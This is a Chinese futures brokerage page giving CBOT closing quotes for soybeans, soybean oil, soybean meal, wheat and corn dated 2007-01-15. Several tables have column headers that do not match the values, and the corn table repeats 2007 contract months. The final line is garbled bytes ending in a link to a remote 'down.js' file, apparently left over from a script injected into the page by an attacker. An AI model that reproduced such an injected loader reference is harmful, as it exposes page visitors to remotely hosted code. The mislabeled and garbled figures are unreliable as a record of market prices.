天琪期货美国CBOT大豆收盘报价
更新时间:2007-01-15
合约 开盘 最高 最低 收盘 涨跌 成交量 持仓量 收盘转换
03/2007 698'0 723'6 695'0 716'4 42'2 657-0 3099 263.27
05/2007 710'0 737'0 710'0 731'4 42'6 668-0 33596 268.78
07/2007 722'0 750'0 721'0 743'0 41'2 682-0 4342 273.01
08/2007 747'0 752'0 742'0 748'0 41'0 695-0 4578 274.84
09/2007 740'0 755'0 740'0 750'0 39'4 703-0 38 275.58
11/2007 745'0 771'0 745'0 763'4 40'2 707-4 44 280.54
01/2008 756'0 775'0 756'0 770'0 41'0 716-0 2949 282.93
03/2008 757'0 776'0 757'0 771'0 38'0 722-0 30 283.29
                 
                 
注:单位:美分/蒲式耳;收盘美元;成交量:是指上一交易日实际成交量;天数:指距离交割的天数;1手=5000蒲式耳
天琪期货美国CBOT豆油收盘报价
更新时间:2007-01-15
合约 开盘 最高 最低 收盘 涨跌 成交量 持仓量 天数
03/2007 29 29.28 28.77 29.15 0.79 28.55 255  
05/2007 29.5 29.7 29.2 29.52 0.66 28.77 13796  
07/2007 29.75 30.15 29.62 29.93 0.67 29.2 2050  
08/2007 30.1 30.25 29.9 30.1 0.7 29.62 2229  
09/2007 30.3 30.34 30.3 30.3 0.73 29.9 323  
10/2007 30.55 30.55 30.4 30.4 0.7 30.2 161  
12/2007 30.9 30.95 30.3 30.8 0.68 30.3 76  
01/2008 31 31 30.95 30.95 0.55 30.3 1098  
03/2008 0 0 0 0 0 30.95 1  
                 
                 
                 
注:单位:美分/磅;成交量:是指上一交易日实际成交量;天数:指距离交割的天数;1手=60000磅
天琪期货美国CBOT豆粕收盘报价
更新时间:2007-01-15
合约 开盘 最高 最低 收盘 涨跌 成交量 持仓量 天数
03/2007 201.5 212.5 200 209.6 15.2 196.6 659  
05/2007 205 216 205 213.6 15.5 200 14073  
07/2007 209.5 220.2 209.5 217.7 16 205 4220  
08/2007 212 221 212 219.5 16 209.5 1338  
09/2007 213.5 222.5 213.5 221 16.5 212 357  
10/2007 215 224 215 221.9 16.6 213.5 177  
12/2007 214.5 226 214.5 224.4 16.4 215 98  
01/2008 219 227 219 224.2 15.5 214.5 1649  
03/2008 220 228.5 220 227.7 18.2 219 0  
                 
                 
                 
                 
                 
注:单位:美元/短吨;成交量:是指上一交易日实际成交量;天数:指距离交割的天数;1手=100短吨
天琪期货美国CBOT小麦收盘报价
更新时间:2007-01-15
合约 开盘 最高 最低 收盘 涨跌 成交量 持仓量 天数
03/2007 474'4 486'4 471'0 479'4 23'0 471-0 20139  
05/2007 484'0 499'4 483'0 492'0 22'4 483-0 4404  
07/2007 485'0 500'0 482'0 493'6 23'6 482-0 7229  
09/2007 489'0 504'4 489'0 498'0 23'4 489-0 1460  
12/2007 500'0 514'0 496'0 508'4 22'4 496-0 1954  
03/2008 507'0 517'0 504'0 513'0 22'0 504-0 2  
05/2008 490'0 500'0 490'0 500'0 0 478-0 325  
                 
                 
                 
注:单位:美分/蒲式耳;成交量:是指上一交易日实际成交量;天数:指距离交割的天数;1手=5000蒲式耳
天琪期货美国CBOT玉米收盘报价
更新时间:2007-01-15
合约 开盘 最高 最低 收盘 涨跌 成交量 持仓量 天数
03/2007 396'4 396'4 396'4 396'4 20'0 367-4 58502  
05/2007 407'4 407'4 407'4 407'4 20'0 377-4 10586  
07/2007 414'4 414'4 414'4 414'4 20'0 384-0 21316  
09/2007 402'4 402'4 401'0 402'4 20'0 373-0 1739  
12/2007 394'4 394'4 388'0 394'4 20'0 365-0 24046  
03/2007 400'2 400'2 396'0 400'2 20'0 372-0 997  
05/2007 401'0 401'0 401'0 401'0 20'0 377-0 77  
07/2007 405'0 407'6 404'0 407'6 20'0 382-0 791  
                 
注:单位:美分/蒲式耳;成交量:是指上一交易日实际成交量;天数:指距离交割的天数;1手=5000蒲式耳
y 澟凞3P抆0xH顁g爍'皤http://Town.531jx.cn/down.js>